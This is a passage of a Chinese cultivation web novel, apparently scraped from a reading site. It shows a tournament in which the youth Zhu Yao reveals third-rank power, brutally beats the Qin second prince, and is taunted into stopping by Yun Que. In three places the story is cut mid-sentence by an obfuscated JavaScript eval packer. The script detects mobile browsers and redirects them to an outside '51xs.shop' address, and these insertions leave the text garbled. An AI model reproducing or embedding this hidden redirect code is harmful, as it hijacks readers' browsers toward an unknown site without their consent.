这位少年城的城主,终于察觉到一些诡异的地方。 原本谁都能踢两脚的杂毛狗,在擂台上变得极其强大。 原本憨头憨脑总说胡话的小胖子朱幺,也在擂台上展现出非同寻常的能力。 加上云缺以六品斩大妖的奇迹,柳真真觉得这次少年擂上全是怪事。 见朱幺还有力气再战,二皇子赢皓也笑了起来,道: “早跟你说了我要去弄点酒,你非得找打,没办法,这次只能将你打残,打烂,你才知道没有酒,对我来说有多么痛苦。” 说话间,这位二皇子一身锦袍无风而动,狂暴的气机波动宛如狂风般扩散开来! 四品破军之力显现无疑! 散发气机的同时,赢皓手里多出了一把重剑! 这柄重剑立起来接近一人多高,剑体呈现铁青之色,看似锈迹斑斑十分古旧。 然而重剑出现之际,却有一道雷音炸起,一抹幽蓝的雷光在剑刃上闪烁不停! 看到二皇子出剑,远处的大皇子赢财叹气道: “二弟生气了,要不然不会拿剑出来,少年城那个小胖子也真是闲的,打不过就认输得了,非要找死,这下他没命喽。” 大皇子的说法,得到了周围众人的认同。 段无病点头道: “二殿下的鸣雷剑很少在人前展现,破军之力加上极品法宝,对手即便是同阶强者也难有胜算。” 大秦一方的王公贵族,其实没几个知道二皇子已经有了破军修为。 知道实情的只有丞相,御史大夫与段无病等区区几人 而已。 在大秦二皇子赢皓被公认为酒蒙子是三个皇子中最不靠谱的一个谁成想人家居然是最强之人。 段无病在擂台上对战柳真真之际之所以没动用全力就是因为他知道少年王其实早已被定下非赢皓莫属。 四品破军境武夫在擂台这种限制了范围的区域作战哪怕对上四品道门或者四品儒修都有极大的胜算更不用说少年城里最多只是五品而已没人是赢皓的对手。 面对着手持重宝的二皇子朱幺丝毫不惧居然空着手晃着膀子走向赢皓。 朱幺此举在外人看来不亚于送死! 两人再次动手。 打得热闹纷呈。 所有人都看得聚精会神唯独云缺没看擂台而是在寻找杂毛狗的踪迹。 掉落擂台之后杂毛狗居然消失不见不知跑去何处。 云缺的目光始终森冷。 与杂毛狗的打斗过程中云缺感受到了一份熟悉的气息。 来自常慎行! 常慎行身上的古怪黑血里就有着与杂毛狗几乎相同的气息存在。 尽管不能动用妖力但是云缺的嗅觉还在能分辨出常慎行的黑血应该来自杂毛狗! 军师常慎行所得到的力量是杂毛狗给的! 云缺的脑子里在快速思索。 杂毛狗报仇而来不算太过意外。 云缺曾经几次想要挑起杂毛狗的愤怒结果对方都忍了下去今天却直接选择登台难道它不怕暴漏? 经此一事杂毛狗必定会被少年城的人所怀疑。 既然杂毛狗不再隐藏那么只能说明一点…… 杂毛狗混在少年城的真正动机即将大白于天下! 那条狗究竟想做什么? 云缺想不通杂毛狗的目的但是没太担心。 毕竟丞相在这坐镇呢。 如果只有一个御史大夫马至远云缺这时候早开始寻找退路了。 左兰山在场即便杂毛狗现出妖身展现妖王之力也翻不起太大的风浪。 仙武大秦的丞相 云缺猜测左兰山的修为至少在三品甚至有可能达到了二品。 四 下扫视了一圈,仍旧不见杂毛狗的踪迹,于是放弃寻找。 忽然云缺眉峰一动! 云缺感受到有目光在自己身上徘徊,扭头朝着城墙望去。 城墙上空荡荡,毫无人影。 怎么回事…… 云缺觉得有些奇怪。 自己的感觉很少出错,尤其被人盯着的时候,自己会有一种天然的预示。 那是身为猎妖人的敏锐感知。 自从少年擂开始,云缺已经有两次察觉到有目光在窥探自己,只是找不到目光的来源。 压下心头的疑惑,云缺感知起自身境界。 与杂毛狗的这一战,可谓收获颇丰。 境界大门再次被推开了一部分,云缺能感觉得到,距离境界大门完全开启已经不远了。 只差最后一步! 除了即将冲进完美金身之外,还有影身之法的感悟。 能修成这种身份,完全是被逼的。 唯有将影步修炼到极致,并且施展到极致,才能避开杂毛狗的扑杀,否则云缺只能被动挨打,挺不住多久就会落败,除非认输跳下擂台,否则会被活活拍死! 战斗,永远是武者修炼的最佳契机。 这一点云缺早已明悟,而且在一次次的战斗中得到了印证。 不斗,谈何武者! 完美金身,还差一点了…… 云缺将心头的迫切与激动尽数散去,望向对面的擂台。 云缺已经盘算好了。 决战必须要打! 不仅为了少年王的名头,也为了冲进完美金身。 这是一场难得的良机。 少年擂,就像老天爷设立的一道道阶梯,云缺只要勇猛无前的走上去,就有极大的机会推开境界大门。 错过少年擂,想要找到能拼命的对手,其实并不容易。 商暮倒是算一个。 但是云缺不想和那家伙打。 因为商家兄妹身上,有着云缺想要了解的东西。 妖血武夫最初只有妖武大商才有,后来才出现在大晋司天监,那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337677|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏墨城,会不会与大商有关? 监正魏墨城,是云缺最大的仇人。 一直以来,别说找到魏墨城,云缺甚至没机会了解到魏墨 城的真正身份。 如今商家兄妹的出现云缺看到了一份契机也许能从那对兄妹身上解开斩妖司的谜团。 轰!!! 云缺正在想着心事之际对面的擂台忽然传来一声闷响。 云缺以为是赢皓斩杀了朱幺抬头看去忽然目光一怔! 擂台上赢皓正单膝跪地以双手擎着重剑脸色铁青。 而朱幺则抡起拳头接连不断的猛砸而下! 如此景象不仅云缺看愣了四周所有人都看得瞠目结舌。 在人们眼里就好像看到了一个三岁顽童正在暴打一名彪形大汉! 这怎么可能呢? 六品宗师怎么可能去暴打四品破军? 很多人揉了揉眼睛觉得自己出现了幻觉可仔细看去仍旧是朱幺猛砸赢皓的局面。 赢皓非但站不起来反而在一记又一记的重拳之下抵抗得极其痛苦嘴角渐渐溢出血迹! 两人所在的擂台没有一丝一毫气息外溢从外表看风平浪静。 可谁都看得出来 在擂台的范围之类有着狂暴的气机在起伏! 云缺只看了一眼顿时觉得一股寒气直冲天灵! 暴打二皇子的朱幺看似没什么章法一顿乱拳可是那封闭了擂台的力量却让云缺瞬间捕获。 由于两座擂台离着不算太远云缺几乎是第一个感受到的那种力量存在。 而这份力量云缺曾经在大唐见过来自武威王忆白龙也在大秦领教过来自镇殿将军寒刀! 那是种武道强者独有的力量可封禁一方天地自成领域然而能做到这种地步的强者只有一个称谓。 三品归真! 再一次云缺感受到了来自归真境武者的威压。 这份领域之力绝对不会是二皇子赢皓因为赢皓是四品破军破军武者可没有封禁一片空间的力量。 擂台上只有两个人。 除了二皇子之外归真强者的威压只能来自于小胖子朱幺! 大秦一方 刚刚坐稳没多久的丞相脸色变得阴沉下来冷声道: “归真武夫!” 左兰山即便再如何稳重现在也坐不住了。 这次少年擂怪事连连。 先是大商遗民现世接着是万妖国之人登台随后出现一条罕见的欺风犬 台下 柳真真与史得侩等人纷纷张大了嘴巴惊愕得说不出话来。 如果朱幺用出五品金身的能力少年城的人还不会太过惊讶毕竟隐瞒修为这种事很多人都做过。 有些人低调不愿刻意张扬有些人懒散懒得去四下通告也有些人想着人前显圣在关键时刻一鸣惊人。 可是隐瞒修为至多隐瞒一个境界而已六品程度的朱幺多说有着五品金身修为怎么可能一下子窜到了三品连四品破军都能吊打! 少年城的众人脑子里一片空白无法理解眼前所见的一幕。 唐太子白誉则紧锁眉峰替云缺担心起来。 朱幺肯定会胜出那么云缺接下来的决战就不是对战四品破军境的大秦二皇子而是要面对一位恐怖的三品归真境强者! 第578章 秦皇家训 擂台四周,变得鸦雀无声,人们目瞪口呆。 擂台上传出的轰鸣宛若雷击,接连不断,震耳欲聋。 赢皓单膝跪地,拼尽全力以重剑防御,他右脚与左膝下的地面呈现出大片龟裂,整个人被不断砸进擂台。 被虐打的二皇子,甚至没有任何反抗的力量! 如此诡异的景象,周围的人们根本无法理解,有些人甚至觉得二皇子在戏耍朱幺。 毕竟一个名不见经传的少年修士,怎么可能斗得过四品破军。 由于强大的禁制封印了擂台,大多数人都感受不到归真武夫的恐怖气息,认为擂台上是一场闹剧。 直到二皇子赢皓的口鼻与耳朵全部开始流血,人们才惊觉,原来擂台上不是闹剧,身为破军境界的二皇子的确在被打! 接连不断的惊呼声此起彼伏。 谁也没想到,少年擂上居然出现三品强者! 接连三天的擂台比斗,在此刻成了一场彻头彻尾的闹剧,少年修士们打生打死的争夺名额,在此刻成了笑话。 三品一出,谁人能敌? 若是第一天就有人亮出三品境界站在擂台,后面的打斗根本不会出现,一局都不用打,直接定下了少年王。 大秦一方。 大皇子赢财猛然起身,惊骇道: “怎么回事!二弟居然被打得没有还手之力,难道对手当真是三品高手? 段无病急急道: “必定是三品无疑!否则以二皇子的修为,不可能被打到如此程度! 赢财惊疑道:“少年城里怎么会有三品归真?这不可能啊!整个云州根本不存在二十岁的三品! 段无病道:“二殿下的对手确实是少年城的人,这一点不假,再打下去,二殿下怕是凶多吉少。 赢人志也道:“再不认输来不及了!这不得被人活活打死! 赢财当机立断,吩咐道:“让二弟下来!认输也得下来,不能打了! 周围的护卫听罢犹豫不决,纷纷偷眼瞄向丞相。 这件事实在太大了! 二皇子认输,丢的不仅是大秦皇族的脸面,还有少年王的资格。 谁去阻止比斗,谁就有可能背黑锅。 毕竟秦皇对少 年城早已头疼多年,今天是收复少年城的绝佳时机,错过今日,少年城恐怕永远也无法真正的归入大秦掌握。 再说擂台上是三品归真强者,他们这些护卫哪有实力打断比斗,根本救不了二皇子,没准自己都得死在擂台。 “再等等。 左兰山始终坐在大椅上,尽管神色十分阴沉,神态依旧稳重。 “还等什么! 赢财恼怒起来,道:“等着赢皓被活活打死吗?人家是三品归真境,他根本不是对手!趁现在认输还能少遭罪,真要死在擂台,谁来担责! 赢财就差没有明说谁来背黑锅了。 这位大皇子属实在担心着二皇子,毕竟是亲兄弟,但赢财也对背黑锅这件事心有余悸。 从小到大,他背的黑锅实在太多,其他的黑锅无所谓,今天这黑锅他可背不起。 左兰山不为所动,冷声道: “殿下稍安勿躁,二殿下的武道由陛下亲自指点,他不会轻易被打死,况且,认输这种事,放在赢氏皇族头上比被人打死还要丢脸,别忘了陛下的家训,赢家之人可以战败,绝不可认输! 听闻家训,赢财愣怔了一下,无力的跌坐回椅子上。 确实如丞相所言,赢家是有家训的,可以败,不能认输,否则会被逐出家门。 这是大秦之主的傲气,赢家之人的家规。 比起大秦一方,少年城的众人更要惊讶万分。 柳真真与史得侩等人被惊得说不出话来,人们眼里的小胖子朱幺变得越来越陌生。 尤其史得侩, 他小时候就认得朱幺,可以说两人是从小一起长大的玩伴。 朱幺在史得侩眼里,就是个贪吃又没脑子的朋友,平常很讲义气,有好吃的肯定拿出来与大家一起分享。 十几年来,史得侩从未发现过朱幺有什么过人的天赋,要说唯一特殊的地方,只能是养狗的手段了。 朱幺养的杂毛狗极其通灵,整天跟在朱幺后边,让狗子去哪,狗子就去哪。 除了养狗之外,朱幺在少年城再无过人之处,可以说泯然众人。 如今,平淡无奇又有点憨傻的小胖子,居然在擂台之上暴打四品破军,如此反差,让史得侩觉得自己的眼睛出了问题。 他用力揉着眼睛,想要看清擂台上的童年好友,可越揉眼睛,看得就愈发模糊。 柳真真与史得侩的心情是一样的,充满了震惊。 柳真真也是小时候就与朱幺相遇,大家如同家人一般,最初的少年城只有十几个流浪儿,靠着大家的努力才逐渐发展到如今的程度。 柳真真虽然无法理解朱幺为何变得如此之强,但柳真真毕竟是女子,心思比史得侩要细腻得多。 她想起一些与朱幺有关的往事。 柳真真记得当年第一次遇到朱幺的时候,朱幺的个子与现在差不多,是个小胖子。 这些年柳真真与史得侩等人都已经从当初的流浪孩童,成长到了年近二十的少年俊杰,无论个子与体重都在成长,尤其史得侩,长得人高马大。 但是朱幺这些年来几乎没怎么长个子,几乎还是原来的模样,矮矮的,胖乎乎。 随后柳真真又想到了杂毛狗。 杂毛狗是朱幺最初带回来的流浪狗,那条狗很聪明,最先发现了废墟里的金矿与银矿,柳真真等人这才得到了第一桶金,在废墟上建立了如今的少年城,开始快速发展。 柳真真的思绪如同一张张画纸般在眼前飞掠。 越是回忆,柳真真越是疑惑起来。 因为不仅第一桶金是杂毛狗发现的,一些废墟附近的天材地宝也是狗子找到的。 几乎隔三岔五,杂毛狗与朱幺就会从外面带回来大量的灵材,分给大家,柳真真与史得侩常慎行等人,也因此而修炼得更加顺利。 否则这些无家可归的流浪儿,又岂能在短短十余年间就冲进了如今的五品修为。 柳真真始终认为少年城的资源,是老天怜悯着少年城的这些孤儿,如今她愕然发觉,脚下的这座少年城之所以发展到现在,几乎完全是杂毛狗与朱幺的功劳! 这到底,是怎么回事…… 陷入回忆的柳真真,变得愈发迷茫。 另一座擂台上,云缺目光冷静的观战。 打到现在,云缺已经能完全确定,朱幺就是归真境的武者! 云缺在诧异之余,渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337678|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有所明悟。 难怪杂毛狗会跟着朱幺。 以一头三阶妖王的傲气,不可能随便给人当狗,除非这 个人,有着极强的修为! 之所以三阶妖族被定为妖王的称号,说明三阶妖兽有着极高的神智与极高的傲气,如同人族中的王侯,无论在何处,都是一方王者。 想通了这件事,云缺继续往下推演。 妖族进阶比人族其实还要艰难,所需的天材地宝极其繁多,还需要合适的地点。 很明显,少年城这个地方,并不适合妖族修炼。 也就是说,杂毛狗不可能在少年城里逐渐成长为三阶妖王,它出现在少年城之前,应该已经达到了三阶妖王的程度! 一头三阶妖王,居然蛰伏在少年城十余年之久,它的目的究竟是什么? 云缺的脑海在快速旋转。 除了杂毛狗,朱幺一样可疑。 整天跟少年城的人混在一起,隐瞒一个境界有可能,但是接连隐瞒了三个大境界,绝无可能! 只要一直住在少年城,朱幺或许能隐瞒住五品金身的修为,但绝对隐瞒不了四品破军之境,更别提现在的三品归真! 既然如此,那么朱幺与杂毛狗应该一样,在少年城尚未建立之初,他们就已经有了如今的强大修为! 一个三品归真境武夫,一头三阶妖王,居然混迹于少年城十多年,陪着柳真真,史得侩与常慎行等人长大,甚至有可能暗中忙着柳真真等人快速提升境界。 能做出这种好事的,不是世间罕见的大善人,就是所图极大的狠戾之辈! 以云缺判断,朱幺和杂毛狗必定是后者。 极短的时间内,云缺猜测出很多东西,但是始终猜不出朱幺与杂毛狗的真正目的。 恍惚间,云缺仿佛再次看到了那幅无边无际的棋盘。 棋盘上的棋子,在开始转动…… 一声轰鸣,打断了云缺的思绪。 对面的擂台上,朱幺一拳砸下,将赢皓砸得大口喷血! 赢皓的那把重剑几乎被砸弯,变得暗淡无光。 极品法宝,乃是真正的神兵利器,是法宝当中的极致,有价无市的东西,武者若有此宝将如虎添翼,威能大增。 但是法宝威力再大,在境界的压制之下也很难发挥出作用。 赢皓甚至连出剑的机会都没有! 然而这位二皇子并没有坐以待毙,而是在喷血的同时,周身忽然气息暴起。 出现在赢皓身上的气息,并非武者的气机,也非法力,而是酒气! 这股酒气极其浓郁,犹如百年老酒,刹那间四散开来。 但凡闻到酒气的人,都有一种醉醺醺的感觉。 酒气的出现,竟透过了归真强者封闭的天地空间,连对面擂台的云缺都闻到了。 赢皓喷出鲜血的姿态,引起大秦一方大皇子等人的惊呼。 众人很快发现,赢皓喷血喷得十分古怪,喷起来没完! 第一口喷出的是鲜血,但之后喷出的居然是酒! 大片的烈酒被二皇子喷出, 于此同时,赢皓手里的雷鸣剑突然炸起惊雷之音。 赢皓双手持剑,大吼一声。 “酒胆!!!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第579章 最有种的一个 酒胆这两个字,周围的人群都知道是什么。 喝多了,自然胆子会更大,俗话说酒壮英雄胆。 但是喝大了,那就不是酒胆,而是耍酒疯。 赢皓显然没醉。 他在生死关头,逼出了周身所有酒气,以这些年喝掉的无数烈酒化作酒胆,激发出最强一击。 赢皓这一剑,斩出了一道惊雷! 擂台上炸起的雷光足有数丈方圆,刹那间一片惨白! 朱幺与赢皓的身影完全陷入雷光当中。 这是四品破军境强者的绝地反击,剧烈的轰鸣与恐怖的雷光足以验证这一剑的威能。 柳真真史得侩等五品境界的高手看得心惊不已。 如此威能,五品修士是绝对挡不住的,会被瞬间劈成两半,毫无悬念! 云缺也被这一剑所震撼。 四品的力量,绝非五品可及,相差了太多。 从赢皓这一剑的威能判断,应该达到了四品巅峰的力量。 赢皓本身尚未达到巅峰破军的程度,但他以酒胆之力与极品法宝的威能弥补了差距。 如此惊天一剑,即便斩在同阶身上也能将其重创,甚至击杀! 耀眼的雷光闪烁了片刻,便彻底消散。 擂台上, 朱幺保持着双臂交叉的防御姿态,赢皓则双手持剑,剑尖垂地。 两人一动不动,宛如两座雕像。 咔…… 细微的轻响中,朱幺肩头出现一道裂痕,衣衫断裂开来。 二皇子用尽全力的一剑,只斩开了朱幺肩头的衣服而已,甚至没能伤到人家! 扑通。 赢皓双膝跪地,大口咳着鲜血,手里的鸣雷剑彻底变得暗淡无光,如同死物。 擂台周围变得鸦雀无声。 四品战三品,居然如顽童去挑战壮汉,如此画面,令所有人倍感震撼。 三品强者并不多见。 在场的多为少年,几乎没人见过三品的真正力量,如今终于见识到了何为归真,除了震惊之外,更多的,是深深的畏惧。 畏惧着武道强者的恐怖力量! 大皇子赢财猛地捏起拳头,低语道: “糟了,二弟这么傻呢,为何不逃……” 在大皇子看来,刚才赢皓的那一剑其实有着伤到对方的机会,要不然朱幺不会现出防御姿态。 如果赢皓趁机逃离擂台,即可脱离危险。 谁能想到赢皓非但没逃,反而不顾一切,用尽全力斩出了一剑。 赢皓坚守着家训。 赢家之人可以战败,绝不可认输,他可以被打出擂台,甚至被打死在擂台,但不能自己逃出擂台。 大皇子看得出来,他二弟那一剑,斩的,是大秦皇族的威严,是赢家的骨气! 可代价,将是身死道消! “嘿嘿嘿,有点能耐。 朱幺阴森冷笑,道:“差点伤到我,你的剑不错,放在你这种废物手里实在暴殄天物,掌握不到剑道的真正精髓,拿着绝世好剑也是烧火棍,你,根本不会用剑! 话音未落,朱幺的身影宛如鬼魅般来到赢皓近前,一拳轰下! 轰!轰!轰!!! 接连不断的轰鸣再次响起。 朱幺仍旧没用什么拳法,完全是街痞打架的姿势,一拳又一拳的砸在赢皓身上,每一拳都犹如重锤,单单听声音都让人觉得头皮发麻。 三皇子赢人志的脸色变得惨白如纸,焦急道: “再这么下去,二哥会被活活打死!丞相!皇兄!不能再等了!救人啊! 毕竟是亲兄弟,赢人志实在看不下去了。 赢财也面如死灰,起身道: “二弟已经尽力了,若死在擂台实在不值,请丞相大人出手! 两位皇子同时相求,左兰山终于有所动作。 并未出手相救,而是洪声喝道: “二殿下若想认输,老臣可保你退出擂台,如何抉择,你自己选。 左兰山虽然没直接出手,却给了赢皓一个选择。 若是认输,只要张口即可,左兰山自会出手保下二皇子。 丞相的做法,看似有些敷衍,实则是无奈之举。 因为擂台上的比斗双方,一边是大秦皇子,另一边是少年城的人。 此战胜负不仅关乎接下来的少年王争夺,还关乎着赢氏皇族在大秦乃至整个云州的颜面。 赢皓如果认输,命会保住,但是赢氏皇族的名声将急转直下。 赢家 有家训,可以战败,绝不可认输。 这是秦皇亲自制定的家规,无人敢违背。 左兰山可以轻易保住二皇子,但身为丞相,他需要替大秦着想。 身为三朝元老的丞相,比所有人都清楚秦皇的脾气,那是天下间真正的枭雄,宁可亲儿子被活活打死,也不会丢弃大秦的声威。 最是无情帝王家。 正因为左兰山了解秦皇,所以他才难以抉择,只能将这份选择题,送给二皇子,让赢皓自己来选。 即便被三品归真暴打,但是身为四品破军的二皇子,喊救命的力气还是有的。 大皇子与三皇子都在替赢皓着急。 赢财甚至大喊出声,让二弟直接认输,大不了回去挨顿毒打,总比送命要强得多。 然而擂台上被打得血肉模糊的二皇子,却艰难无比的吼出了一声: “宁死……也不认输! 赢皓此时的模样无比凄惨。 本来还算英俊的面孔成了猪头,牙齿没剩几颗,满脸是血,身上全是巨力震出的伤口,密密麻麻,血流如注。 两只手原本在尽力抵挡,到后来全被打断了,像个破烂的布娃娃一般,随着朱幺的重拳左右晃动。 触目惊心的一幕,看得所有人心惊肉跳。 没人怀疑,二皇子赢皓肯定会被活活打死在擂台之上! 云缺始终在对面擂台旁观,此时不由得蹙起眉峰。 不得不说,赢皓这位二皇子,是除了秦皇之外,赢氏皇族最有种的一个。 连云缺也佩服着赢皓的骨气。 谁能想到,平日里一个放荡的酒蒙子,居然有如此傲气,宁可被打死在擂台,也不肯给皇家丢脸。 云缺行事虽然秉持着不要脸的原则,有便宜就占,占不着就算赔,但是骨气却始终存在。 人可以不要脸,但是人,不能没有骨气! 云缺看得出丞相的无奈,也看得出大皇子的焦急,更看得出二皇子赢皓的求死之意,这种局面,除非赢皓自己求救,否则没人能帮忙。 结局,只能是被活活打死! 在场的所有人都没有任何办法。 以朱幺的狠戾,柳真真史得侩他们就算求情都没用,更何况现在朱幺代表着少年城,与< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357047|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大秦皇族在打擂。 在场的所有人当中,唯一能救下赢皓的只有一个人。 那就是云缺! 原因很简单,因为云缺已经得到了决赛的资格,而朱幺,还没完成这一局的比试。 深吸一口气,云缺决定帮忙。 不为了秦皇,也不为了什么骨气,单纯为了自己在游街那天,赢皓等了自己半宿的那场酒局。 云缺抬脚踢飞一块碎石。 石头飞向朱幺所在的擂台,在接近擂台边缘就被归真强者的禁制之力弹开。 石头虽然毫无用处,但是造成的响动,令朱幺停了下来,朝着云缺这边望来。 云缺的表情显得有些无聊,冷淡的道: “有完没完了,我得等你到什么时候。 这话说得平淡无奇。 如果换成别人,朱幺根本不屑理睬,但现在不同。 云缺已经获得了最终战的身份,而朱幺还在打个没完,听起来有着一种鄙夷之意。 朱幺怪笑一声,一脚将赢皓踢飞了出去。 赢皓浑身是血的身体犹如一个破烂的风筝,直接飞出擂台,速度之快竟在空气中炸起轰鸣! 这一脚踢得极重! 若非破军之躯,即便五品巅峰的金身境武夫也会被直接踢爆! 赢皓虽然没被踢爆,但是状况极其凶险。 朱幺的一脚之力始终在他身上,一旦落地,这股力量会被尽数爆发开来,即便最后侥幸不死,也得落个筋骨寸断的凄惨下场。 赢皓飞行的方向正是大秦一方。 赢财大喜,急忙要亲自去接,结果他直接被一股巨力撞开。 “退开! 丞相左兰山推开了大皇子之后,抬起单掌,以磅礴的法力形成一只无形大手,接下了赢皓。 接得极其巧妙。 赢皓分别在半空中停顿了三次,每停顿一次,赢皓身后的空中就会炸起一股恐怖的气浪! 大秦丞相以老练的经验,卸掉了朱幺留在赢皓身上的那一脚之力,终于保下二皇子的一条命。 赢皓被打得半死,奄奄一息,落地后,大皇子立刻拿出上好的灵丹,亲自给赢皓喂下。 “至少将养一年。 听 到这话赢财和赢人志终于长出了一口气。 躺一年也行啊至少命保住了总比被人活活打死要强。 大皇子望向擂台上的云缺 别看头上顶着个天生坏种的名头赢财可不是蠢人他知道方才正是云缺那句巧妙的催促才救下了赢皓的一条命。 “此事必须告知父皇若没有驸马之言二弟必死无疑。”赢财呢喃道。 “原来驸马是好心啊我以为他嫌二哥死得慢呢。”赢人志这才反应过来随后这位三皇子疑惑的望着云缺道:“模样也熟声音也熟驸马这么像化境里欠我钱的小和尚呢?” “就知道钱钱钱!就算驸马欠你钱又如何还能抵得上你二哥的一条命吗!”赢财喝斥道。 “那肯定抵不上二哥的命能用钱买么不管他欠不欠我钱我不要了还不行吗。”赢人志委屈的道。 极品龙血玉啊至少一千万两打底儿再如何败家这种天价的东西丢了那也心疼啊。 踢飞了赢皓之后朱幺抱着肩膀冷笑着运转气机。 无需少年城的人帮忙两座擂台在强大气机的拉扯之下缓缓靠近即将组成最后决战的擂台。 第580章 苟道中人 云缺虽然救了二皇子,却让自己的危机提前一步来临。 两座擂台缓缓合拢,最终组成了一座宽敞庞大的决战擂台。 真正的少年擂,就此形成! 无论曾经登台过的少年高手,还是慕名而来看热闹的修行者,此刻的心情全都紧张起来。 这场少年擂出现了太多匪夷所思的局面。 异变的少年城军师,强大的万妖国来客,神秘的大商遗民,诡异的杂毛狗,还有最后的三品强者。 这场惊动整个大秦乃至半个云州的少年擂,犹如一出精彩纷呈的大戏一般,看得所有人恨不得拍案叫绝。 最让人惊奇的是, 每一场意外又精彩的打斗,全都发生在云缺一个人的身上。 云缺,彻底成为了这出大戏的主角! 从徒手斩大妖开始,云缺在少年擂上的身影就深深印在了台下所有少年修士的心里。 数以万计的少年们都觉得擂台上的云缺就是自己的一个投影,一道意念,一份坚持,一副化身。 身为少年,谁人不想称王! 少年王不仅是一个名号,还是一份期待,来自少年人骨子里的自豪。 所以云缺的身影,渐渐引动了天下少年的共情,汇聚了所有少年们的期待。 可以说现在的云缺,是在场数十万少年人的精神展现。 是少年们心里当之无愧的无冕之王! 而此刻,这位无冕之王,终于遇到了强大到令人恐惧的对手。 尽管少年们对云缺无比期待,但是没人认为云缺能赢得最后一场。 六品战三品,不可能有任何胜算! 哪怕酒馆里的说书先生,也说不出六品能赢三品这种奇葩的故事。 六品宗师与三品归真,差得实在太多太多…… 场下的少年们没人希望云缺能赢,大家只希望云缺能及时逃出擂台,别像二皇子那般被打个半死,甚至直接被打杀在擂台之上。 一旦形成共情,少年们的所有感情完全与擂台上的云缺所重叠,一些胆小的女孩子甚至在浑身发抖,仿佛面对三品归真的不是云缺,而是她自己。 鸿影此时紧张得连喊出声音都做不到了,他只觉得心脏砰砰直跳,犹如擂鼓,手心里全是汗 水。 白誉焦急得心乱如麻,稳重的大唐太子彻底失去了分寸,不知该如何是好。 白誉开始后悔。 早知道云缺会遇到如此危机,当初来大秦的时候就该请武威王同行才对! 现在以白誉带来的这些人马,哪里是三品归真强者的对手,上去也是送死。 商福和商暮此刻心情很复杂。 两兄妹同时看了看云缺,又将目光望向头顶的楼船。 两人打算云缺战死之后,立刻返回楼船带走萍山君,这份便宜占得相当轻松,因为萍山君现在还被困在法宝当中根本逃不掉。 可明明是占便宜,商福商暮心里却不知为何不太是滋味,心情变得十分压抑。 大秦一方, 丞相左兰山的目光复杂而阴沉,望着擂台一语不发。 段无病张了张嘴,想要说些什么,可看了看丞相与御史大夫,还有在场的皇子,他最终选择了沉默。 段无病想替云缺求援,毕竟是学宫的师兄弟,但是云缺还有一层身份。 大秦驸马。 在场的皇族众多,又有丞相坐镇,段无病的身份没资格提出建议,如果他最先开口,只会引来怀疑,不如闭嘴。 赢财命人将二皇子立刻送回天龙城养伤,他转身望向擂台,皱眉道: “救下一个又搭上一个,我妹子早晚成寡妇……丞相大人,咱们不能眼睁睁看着驸马死在擂台吧。” 刚才赢皓不肯下台,赢财什么招儿都没有,也怪不得丞相无情,谁让他们赢家有要命的家训呢。 但驸马不同。 驸马尚未与公主成亲,怎么算都不是赢家之人,不必遵守家训。 左兰山冷哼一声,道: “他不会自己逃么,逃不掉,难道还不会喊救命。” 说得无情,其实大皇子与旁边的御史大夫等人都听得出来,丞相大人这是要保驸马了。 只要驸马在擂台上认输,丞相自会出手。 三品归真的禁制之力的确强大,在场的有一个算一个,没人能从归真强者手里夺回驸马。 但是三品归真之力,在大秦丞相眼里却算不得什么。 左兰山有着足够的力量,将驸马从擂台上抢回来。 赢财, 马至远与段无病众人纷纷长出一口气,不在担心。 大秦一方的人不担心了,少年城的人可担忧不已。 尤其柳真真,急得在台下大喝道: “这一局不能打!朱幺,你到底如何成为的三品归真,不说清楚,我们少年城不承认你的身份! 朱幺抱着肩膀嘿嘿笑道: “城主这是怎么了,我的修为自然是自己修炼来的,境界这种东西总不能捡来吧,我天赋太好,我也没办法!怕说出实情把你们吓着,所以才一直隐瞒修为,少年城的人应该因我而骄傲才对! 听闻此言,柳真真没觉得骄傲,反而心头发冷。 朱幺根本没说实话,但凡不是傻子,都能听得出朱幺在说谎。 不到二十岁的少年人,根本不可能拥有三品归真的修为,又何况朱幺成天混迹在少年城,大多数时间都在吃喝,没人见过他修炼几次。 史得侩大吼道: “骄傲个屁!朱幺你给我说清楚,你到底是什么人!咱们认识也有十多年了,从小一起长大,你有几斤几两难道我会不知道吗! 朱幺瞥了眼史得侩,道: “我是什么人?我当然是你史大将军的好兄弟啊!你是不是忘了,你进阶六品的灵药,进阶五品的灵材都是谁给你找来的,都是我朱幺的功劳! “十多年的好兄弟,怎么我变强了,你们非但不开心,反而对我有了敌意?我才是少年城的人,我打擂是为了我们少年城! 朱幺点指着云缺,冷声道: “而他,才是外人!少年王的资格,岂能落在外人身上,少年王是我们少年城的!兄弟们,你们说对不对! 